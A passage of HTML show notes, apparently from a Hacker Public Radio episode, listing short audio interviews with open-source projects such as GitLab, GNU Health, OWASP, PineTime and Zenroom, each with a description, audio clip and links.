type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.eclipse.org/org/\">https://www.eclipse.org/org/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Eclipse_Foundation\">https://en.wikipedia.org/wiki/Eclipse_Foundation</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"GitLab\">GitLab</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/GitLab.png\"/></p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/GitLab\">\r\nGitLab is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking and CI/CD pipeline features, using an open-source license, developed by GitLab Inc.\r\n</blockquote>\r\n<h3>Listen to the interview with David Planella Director Of Community Relations at GitLab</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/GitLab-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=807.000000,917.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=807.000000,917.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://about.gitlab.com/\">https://about.gitlab.com/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/GitLab\">https://en.wikipedia.org/wiki/GitLab</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"GNU_Health\">GNU Health</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/GNU_Health.png\"/></p>\r\n<blockquote cite=\"https://www.gnuhealth.org/#/about\">\r\nGNU Health combines the socioeconomic determinants of health with state-of-the-art technology in bioinformatics and clinical genetics. It manages the internal processes of a health institution, such as financial management, stock and pharmacies or laboratories (LIMS)\r\n</blockquote>\r\n<h3>Listen to the interview with Axel K. Braun about GNU Health</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/GNU_Health-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=926.000000,1113.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=926.000000,1113.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.gnuhealth.org/\">https://www.gnuhealth.org/</a></li>\r\n<li>Source Code: <a href=\"https://savannah.gnu.org/projects/health\">https://savannah.gnu.org/projects/health</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/GNU_Health\">https://en.wikipedia.org/wiki/GNU_Health</a></li>\r\n<li><a href=\"https://www.gnusolidario.org/\">https://www.gnusolidario.org/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Javascript\">Javascript</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Javascript.png\"/></p>\r\n<blockquote cite=\"https://hackages.io/\">\r\nHackages is a community-based tech company with education at its core. We help you boost your skills and realise your projects through our expertise in training, product development, consultancy and community building.\r\n</blockquote>\r\n<h3>Listen to the interview with Marta Moliz about Javascript</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Javascript-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=1122.000000,1246.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=1122.000000,1246.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/JavaScript\">https://en.wikipedia.org/wiki/JavaScript</a></li>\r\n<li><a href=\"https://hackages.io/\">https://hackages.io/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Jenkins-x\">Jenkins-x</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Jenkins-x.png\"/></p>\r\n<blockquote cite=\"https://jenkins-x.io/\">\r\nJenkins X provides pipeline automation, built-in GitOps, and preview environments to help teams collaborate and accelerate their software delivery at any scale.\r\n</blockquote>\r\n<h3>Listen to the interview with Kara de la Marck, Open Source Community Manager at CloudBees, about Jenkins-x</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Jenkins-x-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=1254.000000,1413.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=1254.000000,1413.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://jenkins-x.io/\">https://jenkins-x.io/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/jenkins-x\">https://github.com/jenkins-x</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Jenkins_(software)\">https://en.wikipedia.org/wiki/Jenkins_(software)</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Kopano\">Kopano</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Kopano.png\"/></p>\r\n<blockquote cite=\"https://kopano.io/\">\r\n100% Open source collaboration tools: email, calendaring, Mattermost chat, webRTC video meetings, document collaboration with LibreOffice Online, integration with file storage services and more.\r\n</blockquote>\r\n<h3>Listen to the interview with Brian Joseph about Kopano</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Kopano-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=1421.000000,1740.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=1421.000000,1740.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://kopano.io/\">https://kopano.io/</a></li>\r\n<li>Source Code: <a href=\"https://stash.kopano.io/repos?visibility=public\">https://stash.kopano.io/repos?visibility=public</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Kopano_(software)\">https://en.wikipedia.org/wiki/Kopano_(software)</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"KubeVirt_Metal3\">KubeVirt and Metal3</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/KubeVirt.png\"/></p>\r\n<blockquote cite=\"https://kubevirt.io/\">\r\nVirtual Machine Management on Kubernetes. Building a virtualization API for Kubernetes. KubeVirt technology addresses the needs of development teams that have adopted or want to adopt Kubernetes but possess existing Virtual Machine-based workloads that cannot be easily containerized. More specifically, the technology provides a unified development platform where developers can build, modify, and deploy applications residing in both Application Containers as well as Virtual \r\n</blockquote>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Metal3.png\"/></p>\r\n<blockquote cite=\"https://metal3.io/\">\r\nThere are a number of great open source tools for bare metal host provisioning, including Ironic. Metal3.io aims to build on these technologies to provide a Kubernetes native API for managing bare metal hosts via a provisioning stack that is also running on Kubernetes. We believe that Kubernetes Native Infrastructure, or managing your infrastructure just like your applications, is a powerful next step in the evolution of infrastructure management.\r\n</blockquote>\r\n<h3>Listen to the interview with KubeVirt and Metal3</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=1742.000000,1902.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=1742.000000,1902.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://kubevirt.io/\">https://kubevirt.io/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/kubevirt\">https://github.com/kubevirt</a></li>\r\n<li>Project Website: <a href=\"https://metal3.io/\">https://metal3.io/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/metal3-io/metal3-docs\">https://github.com/metal3-io/metal3-docs</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Micropython_Espruino\">Micropython and Espruino</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Micropython.png\"/></p>\r\n<blockquote cite=\"https://micropython.org/\">\r\nMicroPython is a lean and efficient implementation of the Python 3 programming language that includes a small subset of the Python standard library and is optimised to run on microcontrollers and in constrained environments. \r\n</blockquote>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Espruino.png\"/></p>\r\n<blockquote cite=\"\">\r\nEspruino is an open-source JavaScript interpreter for microcontrollers. It is designed for devices with small amounts of RAM (as low as 8kB). Espruino was created by Gordon Williams in 2012 as an attempt to make microcontroller development truly multiplatform. It was made open-source in 2013 after a successful Kickstarter campaign for a development board running the software.\r\n</blockquote>\r\n<h3>Listen to the interview with Christine Spindler from Micropython and Gordon Williams from Espruino</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Micropython_Espruino-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=1910.000000,2248.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=1910.000000,2248.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://micropython.org/\">https://micropython.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/micropython\">https://github.com/micropython</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/MicroPython\">https://en.wikipedia.org/wiki/MicroPython</a></li>\r\n<li>Project Website: <a href=\"https://www.espruino.com/\">https://www.espruino.com/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/espruino\">https://github.com/espruino</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Espruino\">https://en.wikipedia.org/wiki/Espruino</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Nuspell\">Nuspell</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Nuspell.png\"/></p>\r\n<blockquote cite=\"\">\r\n</blockquote>\r\n<h3>Listen to the interview with Sander van Geloven from Nuspell</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Nuspell-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=2244.000000,2460.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=2244.000000,2460.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://nuspell.github.io\">https://nuspell.github.io</a></li>\r\n<li>Source Code: <a href=\"https://github.com/nuspell/nuspell\">https://github.com/nuspell/nuspell</a></li>\r\n<li><a href=\"https://hellebaard.nl\">https://hellebaard.nl</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"openHAB\">openHAB</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/openHAB.png\"/></p>\r\n<blockquote cite=\"\">\r\nEmpowering the smart home. A vendor and technology agnostic open source automation software for your home.\r\n</blockquote>\r\n<h3>Listen to the interview with Thomas Bail about openHAB</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=2465.000000,2625.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=2465.000000,2625.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.openhab.org/\">https://www.openhab.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/openhab\">https://github.com/openhab</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenHAB\">https://en.wikipedia.org/wiki/OpenHAB</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"OpenStack_Foundation\">OpenStack Foundation</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/OpenStack_Foundation.png\"/></p>\r\n<blockquote cite=\"\">\r\nThe OpenStack Foundation promotes the global development, distribution and adoption of open infrastructure with more than 105,000 community members from 187 countries around the world. The OpenStack Foundation was founded in September 2012 to provide an independent home for the OpenStack cloud operating system, which has since become one of the largest and most diverse open source projects in history.\r\n</blockquote>\r\n<h3>Listen to the interview with Jeremy Stanley about OpenStack Foundation</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=2634.000000,2734.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=2634.000000,2734.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.openstack.org/foundation/\">https://www.openstack.org/foundation/</a></li>\r\n<li>Source Code: <a href=\"https://opendev.org/openstack\">https://opendev.org/openstack</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenStack\">https://en.wikipedia.org/wiki/OpenStack</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"OpenTAP\">OpenTAP</h2>\r\n<p><img alt=\"Logo\" src=\"https://hackerpublicradio.org/eps/hpr3022/OpenTAP.png\"/></p>\r\n<blockquote cite=\"https://www.opentap.io/\">\r\nOpenTAP is an open source project for test automation. An open source test sequencing engine. The project is available online at \r\nhttps://Gitlab.com/OpenTAP/OpenTAP\r\n</blockquote>\r\n<h3>Listen to the interview with Michael Dieudonn&#233; about OpenTAP</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=2743.000000,2817.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=2743.000000,2817.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.opentap.io/\">https://www.opentap.io/</a></li>\r\n<li>Source Code: <a href=\"https://gitlab.com/OpenTAP/opentap\">https://gitlab.com/OpenTAP/opentap</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"OpenUK\">OpenUK</h2>\r\n<p><img alt=\"Logo\" src=\"https://hackerpublicradio.org/eps/hpr3022/OpenUK.png\"/></p>\r\n<blockquote cite=\"\">\r\nWe are a UK organisation committed to develop and sustain UK leadership in Open Technology. We promote businesses, projects and people, who use Open. We strive to collaborate across all existing organisations for Open.\r\n</blockquote>\r\n<h3>Listen to the interview with Amanda Brock about OpenUK</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/OpenUK-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=2826.000000,3000.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=2826.000000,3000.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://openuk.uk\">https://openuk.uk</a></li>\r\n<li><a href=\"https://openuk.uk/profiles/amanda-brock/\">https://openuk.uk/profiles/amanda-brock/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"openWifi\">openWifi</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/openWifi.png\"/></p>\r\n<blockquote cite=\"\">\r\nopenwifi: Linux mac80211 compatible full-stack IEEE802.11/Wi-Fi design based on SDR (Software Defined Radio).\r\n</blockquote>\r\n<h3>Listen to the interview with XianJun Jiao about openWifi</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/openWifi-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=3007.000000,3432.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=3007.000000,3432.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source Code: <a href=\"https://github.com/open-sdr/openwifi\">https://github.com/open-sdr/openwifi</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"OWASP\">OWASP</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/OWASP.png\"/></p>\r\n<blockquote cite=\"\">\r\nThe Open Web Application Security Project (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web.\r\n</blockquote>\r\n<h3>Listen to the interview with Antonis Manaras about OWASP</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/OWASP-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=3422.000000,3547.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=3422.000000,3547.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://owasp.org/\">https://owasp.org/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OWASP\">https://en.wikipedia.org/wiki/OWASP</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Percona\">Percona</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Percona.png\"/></p>\r\n<blockquote cite=\"\">\r\nPercona is a leading provider of unbiased open source database solutions that allow organizations to easily, securely and affordably maintain business agility, minimize risks, and stay competitive.\r\n</blockquote>\r\n<h3>Listen to the interview with Evgeniy Patlan about Percona</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=3554.000000,3598.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=3554.000000,3598.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.percona.com/\">https://www.percona.com/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"PineTime\">PineTime</h2>\r\n<p><img alt=\"Logo\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/PineTime.png\"/></p>\r\n<blockquote cite=\"https://wiki.pine64.org/index.php/PineTime\">\r\nAn Open Source Smartwatch For Your Favorite Devices. Low Cost, High Fidelity.\r\n<br />\r\nThe PineTime is a free and open source smartwatch capable of running custom-built open operating systems. Some of the notable features include a heart rate monitor, a week-long battery as well as a capacitive touch IPS display that is legible in direct sunlight. It is a fully community driven side-project, which means that it will ultimately be up to the developers and end-users to determine when they deem the PineTime ready to ship. \r\n</blockquote>\r\n<h3>Listen to the interview with Koen Zandberg about PineTime</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/PineTime-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=3607.000000,3855.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=3607.000000,3855.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.pine64.org/pinetime/\">https://www.pine64.org/pinetime/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/bergzand\">https://github.com/bergzand</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Pine_Microsystems\">https://en.wikipedia.org/wiki/Pine_Microsystems</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"PostGraphile\">PostGraphile</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/PostGraphile.png\"/></p>\r\n<blockquote cite=\"https://www.graphile.org/\">\r\nExtensible high-performance automatic GraphQL API for PostgreSQL\r\n</blockquote>\r\n<h3>Listen to the interview with Benjie Gillam, OSS Maintainer PostGraphile</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/PostGraphile-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=3865.000000,4085.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=3865.000000,4085.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.graphile.org/\">https://www.graphile.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/graphile\">https://github.com/graphile</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Skolelinux_AlekSIS_Teckids\">Skolelinux / AlekSIS / Teckids</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Skolelinux_AlekSIS_Teckids.png\"/></p>\r\n<blockquote cite=\"https://www.teckids.org/en/\">\r\nAt Teckids, all children and adolescents become part of the Free Software community - as users and contributors. Our young tutors aged between 9 and 16 regularly work together on their workshops, which they then lead for children and adolescents of the same age.\r\n</blockquote>\r\n<h3>Listen to the interview with Niels Bradek from Skolelinux / AlekSIS / Teckids</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=4010.000000,4215.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=4010.000000,4215.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.teckids.org/en/\">https://www.teckids.org/en/</a></li>\r\n<li><a href=\"https://wiki.debian.org/DebianEdu/\">https://wiki.debian.org/DebianEdu/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Technoethical\">Technoethical</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Technoethical.png\"/></p>\r\n<blockquote cite=\"\">\r\nTechnoethical is an online shop that sells hardware compatible with operating systems that fully respect users\' freedom as defined by the GNU Project. We are based in Bucharest, Romania (European Union) and we ship worldwide.\r\n</blockquote>\r\n<h3>Listen to the interview with Tiberiu Turbureanu about Technoethical</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=4224.000000,4720.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=4224.000000,4720.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://tehnoetic.com/\">https://tehnoetic.com/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"TinyGo\">Tiny Go</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/TinyGo.png\"/></p>\r\n<blockquote cite=\"\">\r\nTinyGo is a project to bring the Go programming language to microcontrollers and modern web browsers by creating a new compiler based on LLVM. You can compile and run TinyGo programs on several different microcontroller boards such as the BBC micro:bit and the Arduino Uno. TinyGo can also be used to produce WebAssembly (WASM) code which is very compact in size.\r\n</blockquote>\r\n<h3>Listen to the interview with Ron \"Dead Program\" Evans about Tiny Go</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=4729.000000,5086.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=4729.000000,5086.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://tinygo.org/\">https://tinygo.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/tinygo-org/tinygo\">https://github.com/tinygo-org/tinygo</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Go_(programming_language)\">https://en.wikipedia.org/wiki/Go_(programming_language)</a></li>\r\n<li><a href=\"https://hybridgroup.com/\">https://hybridgroup.com/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"XCP-ng\">XCP-ng</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/XCP-ng.png\"/></p>\r\n<blockquote cite=\"https://xcp-ng.org/\">\r\nTurnkey Open Source Hypervisor. Based on XenServer, XCP-ng is the result of massive cooperation between individuals and companies, to deliver a product without limits. No restrictions on features and every bit available on GitHub! \r\n</blockquote>\r\n<h3>Listen to the interview with Olivier Lambert about XCP-ng</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/XCP-ng-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=5086.000000,5206.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=5086.000000,5206.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://xcp-ng.org/\">https://xcp-ng.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/xcp-ng\">https://github.com/xcp-ng</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Hypervisor\">https://en.wikipedia.org/wiki/Hypervisor</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Zenroom\">Zenroom</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Zenroom.png\"/></p>\r\n<blockquote cite=\"https://zenroom.org/\">\r\nZenroom: easy cryptography to the people. Zenroom is a tiny and portable virtual machine that authenticates and manages access to data using human-readable smart contracts. Zenroom is easy to program to performs fast cryptographic operations for end-to-end encryption and runs on: desktop, embedded, mobile phones, clouds and web browsers.\r\n</blockquote>\r\n<h3>Listen to the interview with Denis \"Jaromil\" Roio from Zenroom</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Zenroom-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=5214.000000,5496.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=5214.000000,5496.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://zenroom.org/\">https://zenroom.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/DECODEproject/zenroom/\">https://github.com/DECODEproject/zenroom/</a></li>\r\n<li><a href=\"https://dyne.org\">https://dyne.org</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"fenster-full\">Fenster</h2>\r\n<h3>Fenster - Free Software Song</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=5492.000000,5666.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=5492.000000,5666.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Free_Software_Song\">https://en.wikipedia.org/wiki/Free_Software_Song</a></li>\r\n<li>Official: <a href=\"https://www.gnu.org/music/free-software-song.html\">https://www.gnu.org/music/free-software-song.html</a></li>\r\n<li>Remix: <a href=\"https://freesoft.potlatch20.net/\">https://freesoft.potlatch20.net/</a></li>\r\n<li>RMS sings: <a href=\"https://www.youtube.com/watch?v=1BH7poMtPVU\">https://www.youtube.com/watch?v=1BH7poMtPVU</a></li>\r\n<li>GNU: <a href=\"https://audio-video.gnu.org/audio\">https://audio-video.gnu.org/audio</a></li>\r\n</ul>\r\n<pre>Track name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: 